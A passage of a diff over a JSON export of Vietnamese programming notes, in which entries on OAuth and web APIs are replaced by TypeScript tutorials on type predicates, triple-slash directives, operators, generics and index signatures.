"Nội dung bài đăng": { + "Toàn bộ nội dung": "# `is` là để hàm kiểm tra ra boolean có thể dùng cho if\nGiả sử ta có code sau:\n```ts\ninterface Chó {\n sủa: 'gâu gâu'\n} \ninterface Mèo {\n kêu: 'meo meo'\n} \ndeclare function lấyTênThú(): Chó | Mèo \n```\n\nTa tạo hàm kiểm tra xem một con thú có phải là chó hay không. Đây là một hàm boolean bình thường:\n```ts\n/** Nếu `thú.sủa === 'gâu gâu'` thì `return true`, tức là đây chính là chó. Còn nếu `thú.sủa === undefined` thì `return false`, tức là đây không phải là chó */\nfunction làChó(thú: Chó | Mèo){\n return thú.sủa !== undefined;\n}\nconst thú = lấyTênThú()\nif (làChó(thú)) {\n thú.sủa \n} else {\n thú.kêu\n}\n```\nKhi viết như này thì TS không tự hiểu được là ở block true `thú` chỉ có thể là `Chó`, còn ở block false thì chỉ có thể là `Mèo`:\n![](https://i.imgur.com/IMNk1h9.png)\n(bị lỗi font, đừng để ý đến màu, mà hãy để ý đến gạch chân) \n\nLý do nó không hiểu được là vì nó chỉ biết hàm `làChó()` trả về `true` hoặc `false`, chứ không biết là trả về `Chó` hay `Mèo`:\n![](https://i.imgur.com/NXfYqNy.png)\n\nNhưng nếu ở hàm `làChó()` ta dùng `thú is Chó` như sau:\n```diff\n- function làChó(thú: Chó | Mèo){\n+ function làChó(thú: Chó | Mèo): thú is Chó {\n```\nThì nó sẽ biết là nếu trả về `true`, thì `true` đó phải được hiểu là `Chó`. Khi đó, trong if nó sẽ tự động nhận dạng được và sẽ tự động gợi ý được luôn:\n![](https://i.imgur.com/EbEqDUv.png)\n![](https://i.imgur.com/koobLhe.png)\n\nCái này gọi là **type predicate** hoặc là type guard.\n\n# `as` là để ép kiểu\n\n[[satisfied là để kiểm tra xem dữ liệu mình nhập bằng tay có thoả kiểu hay không]]", + "Định dạng nội dung": "md" + }, + "Phương thức tạo": "Cào vault", + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-02T14:02:00.000Z", + "id": "Xq" }, { - "Tiêu đề": "OAuth là cách để cấp quyền truy cập dữ liệu mà người dùng không phải cấp mật khẩu", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/OAuth là cách để cấp quyền truy cập dữ liệu mà người dùng không phải cấp mật khẩu", + "Tiêu đề": "/// cung cấp chỉ dẫn cho TS", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Chỉ thị ba dấu gạch chéo cung cấp chỉ dẫn cho TS", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "OAuth 2 là một khung ủy quyền cho phép các ứng dụng có quyền truy cập hạn chế vào tài khoản và dữ liệu người dùng. Chủ sở hữu dữ liệu có thể cấp cho ứng dụng quyền truy cập vào dữ liệu của họ. Người dùng không phải chia sẻ thông tin đăng nhập và mật khẩu của họ với ứng dụng, nếu sau đó người dùng thay đổi mật khẩu ở đó ứng dụng sẽ vẫn có quyền truy cập. Người dùng cũng có thể cấp quyền truy cập giới hạn ứng dụng. Trong thế giới cũ nếu tôi đã cung cấp một ứng dụng, thông tin đăng nhập và mật khẩu của tôi cho Google, ứng dụng sẽ có quyền truy cập vào toàn bộ tài khoản Google của tôi. Với OAuth, tôi có thể cấp cho ứng dụng quyền truy cập vào tài khoản Google Drive mà không cấp cho họ quyền truy cập vào dữ liệu GMail.\r\n\r\nNguồn:: [Open Authentication | Daimto](https://www.daimto.com/open-authentication/)\r\n\r\nCách dùng password để truy cập dữ liệu người dùng gọi là client login\r\n[[OAuth là cách để cấp quyền truy cập dữ liệu mà người dùng không phải cấp mật khẩu]]", + "Toàn bộ nội dung": "```\r\n/// <reference path=\"helperFunctions.ts\" />\r\n/// <reference types=\"node\" />\r\n/// <reference lib=\"es2015\" />\r\n \r\n// Mã nguồn của file hiện tại sử dụng các hàm từ helperFunctions.ts,\r\n// sử dụng các kiểu từ thư viện Node.js, và sử dụng các tính năng từ ES2015.\r\n```\r\n\r\nNguồn:: [Triple-Slash Directives trong TypeScript là gì?](https://freetuts.net/tripleslash-directives-trong-typescript-la-gi-6250.html)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "U7" + "id": "Xr" }, { - "Tiêu đề": "Redirect URI là nơi", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Redirect URI là nơi", + "Tiêu đề": "Các ký hiệu trong TS", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Các ký hiệu trong TS", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "The authentication server needs to know where to return the authentication.  In the case of native applications, the authentication server returns authentication to the sample IP address or location as the request is received from.    In the case of web applications, the server returns the authentication to the website.\r\n\r\n[![Client ID for native application Client ID for web application](https://www.daimto.com/wp-content/uploads/2015/07/Oauth2.png)](https://www.daimto.com/wp-content/uploads/2015/07/Oauth2.png \"Client ID for native application Client ID for web application\")\r\n\r\nNguồn:: [Fetching Title#grd8](https://www.daimto.com/open-authentication/)\r\n", + "Toàn bộ nội dung": "## 1. Unions type: |\r\n\r\nTrong javascript thì kí hiệu | để tính bit : Toán tử OR (|) sẽ trả về 1 nếu 1 trong mỗi vị trí của các bit tương ưng có có bit có giá trị là 1 hoặc cả hai đều có 1. Trong javascipt example :\r\n\r\n```ts\r\nconst a = 5;\r\nconst b = 3;\r\nconsole.log(a | b);\r\n// expected output: 7\r\n```\r\n\r\nCách nó trả về kết quả là 7 : 5 có mã nhị phân là 101, 3 có mã nhị phân là 011 Tính theo phương thức OR sẽ có kết quả 111.\r\n\r\n![](https://images.viblo.asia/b140c43c-102a-4fd4-a9f4-dc29b4f0cbc4.png) Trong TypeScript là 1 extension của Javascript thì bạn có thể dùng như trên, ngoài ra trong typescript bạn có thể dùng (|) để biểu thị unions type:\r\n\r\n![](https://images.viblo.asia/d9fbd057-260b-4d37-a7c4-dd5367d37eef.png)\r\n\r\nĐôi khi một kiểu có 1 vài giá trị khả dĩ vì vậy chúng ta có thể sử dụng unions type để biểu diễn chúng :\r\n\r\n```ts\r\ntype HttpMethod = \"GET\" | \"POST\" | \"PATCH\" | \"DELETE\";\r\nfunction xhr(method: HttpMethod, url: string): void {\r\n console.log(`${method}: ${url}`);\r\n}\r\n```\r\n\r\nTypeScript sẽ kiểm tra kiểu mà chúng ta cung cấp ở trên :\r\n\r\n![](https://images.viblo.asia/e05c792e-dcf3-475a-aa23-a16fda01aa9c.png)\r\n\r\nNó sẽ chúng ta ko có kiểu \"Get\" ở trên giúp tránh được rất nhiều lỗi.\r\n\r\n## 2. Intersection Types: &\r\n\r\nGiống với toán tử | , toán tử & cũng để so sánh bit. Trong typescript , & cũng có thể được sử dụng để chỉ ra loại giao nhau :\r\n\r\n```ts\r\ninterface Runnable{\r\n run(): void;\r\n}\r\ninterface Swimmable{\r\n swim(): void;\r\n}\r\n```\r\n\r\nSau đó , chúng ta define ra 1 kiểu mới , kiểu Goose vừa có thể bơi vừa có thể run :\r\n\r\n```ts\r\ntype Goose = Runnable & Swimmable;\r\n```\r\n\r\n![](https://images.viblo.asia/c4220452-3230-4823-8999-1942d5f196c6.png)\r\n\r\nNếu parameter ko đủ cả 2 interface thì trình biên dịch sẽ báo lỗi :\r\n\r\n![](https://images.viblo.asia/88a3ce80-f244-421f-8042-a7e63f299205.png)\r\n\r\n## 3. Numeric Separators: _\r\n\r\nNếu trong code bạn viết 1 đoạn số rất dài bạn có thể viết :\r\n\r\n```ts\r\nlet total = 12_2300_222;\r\n```\r\n\r\ncách này giúp bạn khỏi mất vài giây để đọc nhưng số dài.\r\n\r\n## 4. Non-null assertion operator: !\r\n\r\nTrong Javascript toán tử ! dùng để đảo ngược giá trị boolean.\r\n\r\n```ts\r\n!false // return true\r\n!true // return false\r\nlet flag = false;\r\nflag = !flag;\r\nconsole.log(flag); // true\r\n```\r\n\r\nTrong Typescript bạn có thể sử dụng nó như sau :\r\n\r\n![](https://images.viblo.asia/9c604dec-2c62-4fa0-a30c-383090139755.png)\r\n\r\nTrong đoạn code trên maybeString có thể là 1 chuỗi string hoặc null. Nếu bạn chắc maybeString luôn luôn là chuỗi string thì bạn có thể dùng cách sau để complile ko bị lỗi :\r\n\r\n![](https://images.viblo.asia/5a5d7bcc-6d57-4232-9da2-1927500563ed.png)\r\n\r\n## 5. Optional notation: ?\r\n\r\nKí hiệu này có 2 cách dùng : ?. and ?:\r\n\r\n**Optional Chaining: ?.** Thi thoảng , 1 object có chứa thuộc tính đấy hay không , điều này có thể khiến cho việc viết mã trở nên khó.\r\n\r\nJavascript code :\r\n\r\n`function getCity(user){ return user.location.city }`\r\n\r\nNếu user ko có param location thì sẽ bị lỗi runtime:\r\n\r\n![](https://images.viblo.asia/5db94b10-9671-4471-9e4e-f83ef4451ea7.png)\r\n\r\nĐể sửa lỗi trên thì trong javascirpt sẽ viết :\r\n\r\n```ts\r\nfunction getCity(user){\r\n return user.location ? user.location.city : undefined\r\n}\r\n```\r\n\r\nCách trên thì chúng ta check xem user.location có tồn tại ko thì trả về giá trị city còn ko sẽ trả về undefined.\r\n\r\nCách trên viết hơi rắc rối 1 chút, trong typescirpt có thể viết như sau :\r\n\r\n```ts\r\nfunction getCity(user: any){\r\n return user.location?.city\r\n}\r\ngetCity({name: 'Jon'})\r\n```\r\n\r\nNếu user.location ko có giá trị thì ngừng truy cập vào biến city.\r\n\r\nĐoạn code trên sẽ biên dịch như sau :\r\n\r\n```ts\r\nfunction getCity(user) {\r\n var _a;\r\n return (_a = user.location) === null || _a === void 0 ? void 0 : _a.city;\r\n}\r\n```\r\n\r\nvoid 0 sẽ tương ứng với undefined.\r\n\r\n- Kí hiệu ? cũng được sử dụng trong khi gọi hàm . Ví dụ đoạn code javascript sau :\r\n\r\n```ts\r\nfunction run(obj){\r\n obj.run()\r\n}\r\n```\r\n\r\n![](https://images.viblo.asia/180cf4b8-e53a-4ce2-b0a3-74b8148aac92.png)\r\n\r\nNếu tham số obj ko có hàm run thì sẽ báo lỗi như trên, bạn có thể viết như sau trong typescript để complie 1 cách an toàn :\r\n\r\n```ts\r\nfunction run(obj: any){\r\n obj.run?.()\r\n}\r\nrun({})\r\n```\r\n\r\n**Optional Properties: ?:** Ngoài việc sử dụng toán tử trên để check object có thuộc tính hay không bạn có thể dùng nó khi define 1 thuộc tính :\r\n\r\n![](https://images.viblo.asia/f14977e8-78e1-475d-8da6-318e13ba9377.png) Lỗi này là do trình biên dịch mong đợi user1 bắt buộc phải khởi tạo 2 thuộc tính là name và email. Nhưng trong thực tế bạn chỉ muốn truyền value name và value email có thể là trường ko bắt buộc , bạn có thể sửa bằng cách viết như sau :\r\n\r\n![](https://images.viblo.asia/30b01a27-82ee-43b1-ae72-4129ea36200a.png)\r\n\r\nThêm dấu ? vào sau thuộc tính để báo rằng value của thuộc tính này là tuỳ chọn.\r\n\r\n## 6. Nullish coalescing operator: ??\r\n\r\n```ts\r\nlet a = null\r\nlet b = a ?? \"default string\"; // default string\r\n```\r\n\r\nDấu ?? trên có ý nghĩa nếu a có giá trị null thì sẽ b sẽ nhận giá trị \"default string \" còn ngược lại sẽ nhận giá trị a.\r\n\r\n## 7. Private property:\r\n\r\nĐể báo cho trình biên dịch biết class có thuộc tính private thì ta viết # trước thuộc tính đấy :\r\n\r\n```ts\r\nclass Person{\r\n #name: string;\r\n constructor(name: string) {\r\n this.#name = name\r\n }\r\n greet(){\r\n console.log(`Hello, I am ${this.#name}`)\r\n }\r\n}\r\n```\r\n\r\nVậy các bạn sẽ thắc mắc từ khoá # khác gì từ khoá private:\r\n\r\n```ts\r\nclass Person {\r\n\t#name: string;\r\n\tprivate location: string;\r\n\r\n\tconstructor(name: string, location: string) {\r\n\tthis.#name = name;\r\n\tthis.location = location;\r\n\t}\r\n}\r\n```\r\n\r\nCác thuộc tính khai bao từ khoá private sẽ tồn tại trong instance và chúng ta có thể force access vào chúng còn thuộc tính khai báo # sẽ ko lưu trữ trực tiếp trong instance :\r\n\r\n```ts\r\nclass Person {\r\n\t#name: string;\r\n\tprivate location: string;\r\n\r\n\tconstructor(name: string, location: string) {\r\n\tthis.#name = name;\r\n\tthis.location = location;\r\n\t}\r\n}\r\n\r\nlet json = new Person (\"Jon\", \"viet\");\r\nconsole.log((json as any).location); // viet\r\nconsole.log((json as any).name); // undefined\r\n```\r\n\r\n## 8. Angle brackets: <>\r\n\r\nTừ khoá này dùng ở 2 nới : một cho type assertions và hai cho generic types\r\n\r\n## Type assertions\r\n\r\n![](https://images.viblo.asia/42a4326e-8f54-4199-8893-1ca060ea098c.png)\r\n\r\nVì khi compiler, someValue có nhận vào 2 type string hoặc number nó sẽ ko match với tham số của function doubleString. Phân tích code 1 chút chúng ta có thể thấy someValue có thể là kiểu string .Chúng ta có thể sử dụng <> để nói với trình biên dịch rằng : someValue phải là string.\r\n\r\n![](https://images.viblo.asia/f07075a3-1ea0-4d20-8cb1-feee71f14c0b.png)\r\n\r\nTuy nhiên TSLint, không khyết khích bạn sử dụng cách trên thay vào đó hãy sử dụng :\r\n\r\n![](https://images.viblo.asia/c09682bc-ea14-4bc6-b405-4e18501ee39c.png)\r\n\r\n## 9. Generic types\r\n\r\nDùng Typescript giúp chúng ta viết code nó an toàn hơn nhưng cũng hy sinh tính linh hoạt của javascript. Ví dụ nếu ta viết function add gồm 2 đối số có thể string hoặc number, chúng ta sẽ viết như sau trong javascript :\r\n\r\n```ts\r\nfunction add(a, b){\r\n return a + b\r\n}\r\n```\r\n\r\nTuy nhiên, rất khó thực hiện trong typescript , bạn khó có thể viết :\r\n\r\n```ts\r\nfunction add(a: string | number, b: string | number) {\r\n return a + b;\r\n}\r\n```\r\n\r\nbởi vì không thể thêm trực tiếp các kiểu union type, trình biên dịch sẽ báo lỗi , hoặc bạn có thể viết kiểu dưới nhưng rất hard code :\r\n\r\n```ts\r\nfunction addString(a: string, b: string) {\r\n return a + b;\r\n}\r\nfunction addNumber(a: number, b: number) {\r\n return a + b;\r\n}\r\n```\r\n\r\nTrong trường hợp trên chúng ta có thể viết như sau :\r\n\r\n```ts\r\nfunction add<T>(a: T, b: T){\r\n return a as any + b\r\n}\r\n```\r\n\r\nĐoạn mã có nghĩa là hàm add chưa chắc chắn loại kiểu dữ liệu nào vì vậy chúng ta sẽ chuyền kiểu dữ liệu khi chúng ta sử dụng chúng :\r\n\r\n![](https://images.viblo.asia/16fc4eb7-68f6-42ba-9ee4-52bf0837486a.png)\r\n\r\n## 10. Decorators: @\r\n\r\ngiả sử chúng ta có 1 chức năng sau :\r\n\r\n```ts\r\nfunction hello(name) {\r\n console.log(\"Hello \" + name)\r\n}\r\n```\r\n\r\nChúng tôi muốn sẽ in ra log mỗi call hello , bạn sẽ làm như thế nào ? Trong javascript sẽ ko có cách nào thực hiện điều này trực tiếp nhưng chúng ta có thể wrap hello với decorator function :\r\n\r\n![](https://images.viblo.asia/ba5fac39-e478-4388-9f0d-5d2e2f79ba93.png)\r\n\r\nThe results:\r\n\r\n```ts\r\nStart execute function \"hello\" at 2021-03-17T04:15:47.724Z\r\nHello Jack\r\n```\r\n\r\nTrong JS điều này nó ko được thanh lịch lắm nhưng trong typescript đã cung cấp decorator sytax để làm điều này : Ví dụ :\r\n\r\n```ts\r\nclass Friend {\r\n name: string;\r\n constructor(name: string) {\r\n this.name = name\r\n }\r\n hello() {\r\n console.log(this.name + \" says: Hello\")\r\n }\r\n}\r\n```\r\n\r\nkhi bạn muốn in ra log khi call hàm hello , bạn có thể chỉ đinh decorator function logging lên hàm hello .\r\n\r\nNếu bạn muốn define lại 1 hàm decorator cho 1 lớp thì hàm decorator phải có định dạng sau :\r\n\r\n```ts\r\nfunction logging(target: any, propertyKey: string,\r\n descriptor: PropertyDescriptor) {\r\n // do something\r\n}\r\n```\r\n\r\nKết quả :\r\n\r\n```ts\r\nfunction logging(target: any, propertyKey: string,\r\n descriptor: PropertyDescriptor) {\r\n let func: Function = target[propertyKey];\r\nconsole.log(`Start execute function \"${func.name} at ${new Date().toISOString()}`);\r\n}\r\n\r\nclass Friend {\r\n name: string;\r\n constructor(name: string) {\r\n this.name = name\r\n }\r\n @logging\r\n hello() {\r\n console.log(this.name + \" says: Hello\")\r\n }\r\n}\r\n\r\nlet friend = new Friend(\"le huu dung\");\r\nfriend.hello();\r\n```\r\n\r\nKết quả sau khi run đoạn code trên :\r\n\r\n```ts\r\n\"Start execute function \"hello at 2021-09-19T15:22:13.024Z\" \r\n```\r\n\r\nĐây là cách mà chúng ta ghi ra nhật khi log vào nhiều phương thức mà ko cần thay đổi phương thức đó.\r\n\r\nBài viết của mình đến đây là hết , cám ơn bạn đã xem.\r\n\r\n## Tài liệu tham khảo :\r\n\r\n[https://javascript.plainenglish.io/10-confusing-typescript-n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-09-21T10:48:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "U8" + "id": "Xs" }, { - "Tiêu đề": "Scope là những phạm vi dữ liệu khi ứng dụng truy cập", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/Scope là những phạm vi dữ liệu khi ứng dụng truy cập", + "Tiêu đề": "generic là biến dành cho kiểu", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Generic/generic là biến dành cho kiểu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: \r\n", + "Toàn bộ nội dung": "[[generic là cách để giữ được tính chung chung mà vẫn không bị mất thông tin]]\r\nBiến (variable) thì để trong `( )`, còn biến kiểu (type variable) thì để trong `< >`\r\n\r\nVí dụ, đây là cách viết hàm như bình thường:\r\n```js\r\nfunction f(x)\r\n```\r\nTrước giờ nếu muốn khai báo kiểu cho cả hàm và biến thì phải viết thế này:\r\n```ts\r\ninterface t { u }\r\nfunction f(x: t): t\r\n```\r\nNhưng cách viết này thì `u` bị giữ cố định trong code. Nó là hằng rồi chứ không phải là biến. Nếu muốn nó cũng là biến thì ngay trong hàm cũng phải khai báo `t` như thể nó là một biến.\r\n\r\nNếu có thể viết chỉ số dưới chân cả hai như vậy thì tiện:\r\n```ts\r\nfₜ(xₜ)\r\n```\r\n\r\nNhưng vì không dùng unicode được nên viết như thế này:\r\n```js\r\nf(t)(x) \r\n```\r\nNhưng nếu vậy thì không phân biệt được cái nào thực sự là biến dành cho hàm, cái nào là biến dành cho kiểu. Để phân biệt thì ta dùng ngoặc nhọn:\r\n```ts\r\nf<t>(x) \r\n```\r\nRồi sau đó khai báo kiểu cho biến và hàm như bình thường:\r\n```ts\r\nf<t>(x: t): t\r\n```\r\nĐây chính là cú pháp của generic. Ví dụ:\r\n```ts\r\nfunction identity<Type>(arg: Type): Type { return arg;}\r\n```\r\n\r\nCũng giống như ta có thể có nhiều biến trong hàm, ta cũng có thể có nhiều biến kiểu trong hàm:\r\n```ts\r\nf<t, u>(x, y) \r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "U9" + "id": "Xt" }, { - "Tiêu đề": "❓OAuth là cấp phép cho ai, token là cấp phép được làm cái gì", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/OAuth, access token/❓OAuth là cấp phép cho ai, token là cấp phép được làm cái gì", + "Tiêu đề": "generic là cách để giữ được tính chung chung mà vẫn không bị mất thông tin", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Generic/generic là cách để giữ được tính chung chung mà vẫn không bị mất thông tin", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "To start off, let’s do the “hello world” of generics: the identity function. The identity function is a function that will return back whatever is passed in. You can think of this in a similar way to the `echo` command.\r\n\r\nWithout generics, we would either have to give the identity function a specific type:\r\n\r\n```ts\r\nfunction identity(arg: number): number { \r\n\treturn arg;\r\n}\r\n```\r\n\r\n[Try](https://www.typescriptlang.org/play/#code/GYVwdgxgLglg9mABDAJgUzLKBPAFAQwCcBzALkTBAFsAjNQgSnMtvsQG8AoRRQtKEISRFiAbk4BfIA)\r\n\r\nOr, we could describe the identity function using the `any` type:\r\n\r\n```ts\r\nfunction identity(arg: any): any {\r\n\treturn arg;\r\n}\r\n```\r\n[Try](https://www.typescriptlang.org/play/#code/GYVwdgxgLglg9mABDAJgUzLKBPAFAQwCcBzALkXzGwEpzLtEBvAKEUULShEKSOIG5mAXyA)\r\n\r\nWhile using `any` is certainly generic in that it will cause the function to accept any and all types for the type of `arg`, we actually are losing the information about what that type was when the function returns. If we passed in a number, the only information we have is that any type could be returned.\r\n\r\nInstead, we need a way of capturing the type of the argument in such a way that we can also use it to denote what is being returned. Here, we will use a _type variable_, a special kind of variable that works on types rather than values.\r\n\r\n```ts\r\nfunction identity<Type>(arg: Type): Type {\r\n\treturn arg;\r\n}\r\n```\r\n\r\n[Try](https://www.typescriptlang.org/play/#code/GYVwdgxgLglg9mABDAJgUzLKBPAPAFWwAc0A+ACgEMAnAcwC5FCSBKR5tRAbwChFFqaKCGpIatANw8AvkA)\r\n\r\nWe’ve now added a type variable `Type` to the identity function. This `Type` allows us to capture the type the user provides (e.g. `number`), so that we can use that information later. Here, we use `Type` again as the return type. On inspection, we can now see the same type is used for the argument and the return type. This allows us to traffic that type information in one side of the function and out the other.\r\n\r\nWe say that this version of the `identity` function is generic, as it works over a range of types. Unlike using `any`, it’s also just as precise (i.e., it doesn’t lose any information) as the first `identity` function that used numbers for the argument and return type.\r\n\r\nNguồn:: [TypeScript: Documentation - Generics](https://www.typescriptlang.org/docs/handbook/2/generics.html)\r\n[[generic là biến dành cho kiểu]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UA" + "id": "Xu" }, { - "Tiêu đề": "RESTful là REST không có hypermedia", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/RESTful là REST không có hypermedia", + "Tiêu đề": "generic là tính từ, không phải danh từ", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Generic/generic là tính từ, không phải danh từ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Turns out REST APIs weren't the answer (and that's OK!) - YouTube](https://www.youtube.com/watch?v=0gH-hSyWp9o&lc=UgyMopzH-4IhTQh6BeB4AaABAg)", + "Toàn bộ nội dung": "Nguồn:: [There Is No Such Thing As A Generic | Total TypeScript](https://www.totaltypescript.com/no-such-thing-as-a-generic)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "UB" + "id": "Xv" }, { - "Tiêu đề": "Web service là những API dùng trên HTTP", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Cloud, webhook, API/Web service là những API dùng trên HTTP", + "Tiêu đề": "Index signature giúp khai báo kiểu của tên thuộc tính và giá trị của nó trong vật thể, dù không biết vật thể đó có cấu trúc thế nào", + "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Index signature giúp khai báo kiểu của tên thuộc tính và giá trị của nó trong vật thể, dù không biết vật thể đó có cấu trúc thế nào", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[HTTP là ngôn ngữ để trình duyệt và webserver nói chuyện với nhau]]\r\n## What is Web API?\r\n\r\n- An API (Application Programming Interface) is the means by which third parties can write code that interfaces with other code.\r\n-  A Web Service is a type of API, one that almost always operates over HTTP (though some, like SOAP, can use alternate transports, like SMTP).\r\n- Web API is typically done as HTTP/SMTP (REST/SOAP), output can be eg: JSON/XML, input can be XML/JSON or plain data.\r\n\r\n[![](https://sp-ao.shortpixel.ai/client/to_auto,q_glossy,ret_img,w_1134,h_1078/https://lcdung.top/wp-content/uploads/2018/07/apis-devices.jpg)](https://lcdung.top/web-services-apis/apis-devices/)\r\n\r\n## SOAP vs REST comparison\r\n\r\n#### Origin\r\n\r\n| | |\r\n|---|---|\r\n|REST|SOAP|\r\n|– REST (Representational State Transfer) was Created in 2000 by Roy Fielding in UC, Irvine. <br>– Developed in an academic environment, this protocol embraces the philosophy of the open Web|– SOAP (Simple Object Access <br>Protocol), was created in 1998 by Dave Winer et al in collaboration <br>with Microsoft. <br>– Developed by a large software company, this protocol addresses the goal of addressing the needs of the enterprise market.|\r\n\r\n#### BASIC CONCEPT\r\n\r\n| | |\r\n|---|---|\r\n|REST|SOAP|\r\n|– Makes data  vailable as resources (nouns), for example “user” or “invoice”|– Makes data available as services (verb + noun), for example “getUser” or “PayInvoice”|\r\n\r\n#### ADVANTAGES\r\n\r\n| | |\r\n|---|---|\r\n|REST|SOAP|\r\n|– Follows the philosophy of the Open Web <br>– Relatively easy to implement and maintain <br>– Clearly separates client and server implementations <br>– Communication isn’t controlled by a single entity <br>– Information can be stored by the client to prevent multiple calls <br>– Can return data in multiple formats (JSON, XML etc)|– Follows a formal enterprise <br>approach <br>– Works on top of any communication protocol, even asynchronously <br>– Information about objects is communicated to clients <br>– Security and authorization are part of the protocol <br>– Can be fully described using WSDL|\r\n\r\n#### DISADVANTAGES\r\n\r\n| | |\r\n|---|---|\r\n|REST|SOAP|\r\n|– Only works on top of the HTTP <br>protocol. <br>– Hard to enforce authorization and security on top of it|– Spends a lot of bandwidth communicating metadata. <br>– Hard to implement and is unpopular among Web and mobile developers. <br>– Uses only XML.|\r\n\r\n#### WHEN TO USE\r\n\r\n| | |\r\n|---|---|\r\n|REST|SOAP|\r\n|– When clients and servers operate on a Web environment <br>– When information about objects doesn’t need to be communicated to the client|– When clients need to have access to objects available on servers <br>– When you want to enforce a formal contract between client and server|\r\n\r\n#### COMMON USE CASES\r\n\r\n| | |\r\n|---|---|\r\n|REST|SOAP|\r\n|– Social Media services <br>– Social Networks <br>– Web Chat services <br>– Mobile Services <br>– Synchronize applications|– Financial services <br>– Payment gateways <br>– Telecommunication services|\r\n\r\n#### POPULAR EXAMPLES\r\n\r\n| | |\r\n|---|---|\r\n|REST|SOAP|\r\n|– Facebook APIs <br>– Google APIs <br>– YouTube APIs <br>– Twitter APIs <br>– LinkedIn APIs <br>– Instagram APIs|– Salesforce SOAP API <br>– Paypal SOAP API <br>– Clickatell SMS SOAP API <br>– Almost Banking Systems|\r\n\r\n## APIs Security\r\n\r\n- IPs Whitelist\r\n- Authentication (Oauth, Api Key…)\r\n- Username/Password Scenarios\r\n- Security Tokens + Signature\r\n- Namespaces Required\r\n- The Header\r\n\r\n## Caching Data\r\n\r\n#### Why to optimize?\r\n\r\n- Increase visitor retention/engagement and loyalty.\r\n- Better ranking on Google Search (SEO).\r\n- Reduce the response time.\r\n- Improve page load time.\r\n- Make the customer happier.\r\n-  Reduce network throughput in some types of optimization.\r\n- Save customer money on bandwidth (mobile network).\r\n- Helps the environment saving energy.\r\n- COST !!!\r\n\r\n#### COST !!!\r\n\r\n- Reduce resource usage (CPU/Memory/DiskIO)\r\n- Reduce network throughput\r\n- Reduce requests queueing\r\n- Reduce number or size of instances\r\n- Increase number of concurrent requests per instance\r\n\r\n#### Cache Types\r\n\r\n- APC Cache\r\n- Memcache\r\n- Files Cache\r\n- Severs Cache (Redis, Varnish)\r\n\r\n## Logging\r\n\r\n#### Why to log?\r\n\r\n- Storage any actions from users\r\n- Tracking system problems\r\n- Code checking\r\n- Customer support quickly\r\n- Logging\r\n- Avoid legal risks\r\n\r\n#### Logging Levels\r\n\r\n- FATAL\r\n- ERROR\r\n- WARNING\r\n- INFO\r\n- DEBUG\r\n\r\n## Testing\r\n\r\n#### Why should we do API testing?\r\n\r\nCan help find/isolate problems:\r\n\r\n- Security\r\n- Robustness\r\n- Functionality\r\n- Testing\r\n\r\nReduce business costs\r\n\r\nNguồn:: [Web services (APIs) - LCDUNG](https://lcdung.top/web-services-apis/)", + "Toàn bộ nội dung": "The syntax of an index signature is simple and looks similar to the syntax of a property. But with one difference: write the type of the key inside the square brackets: `{ [key: 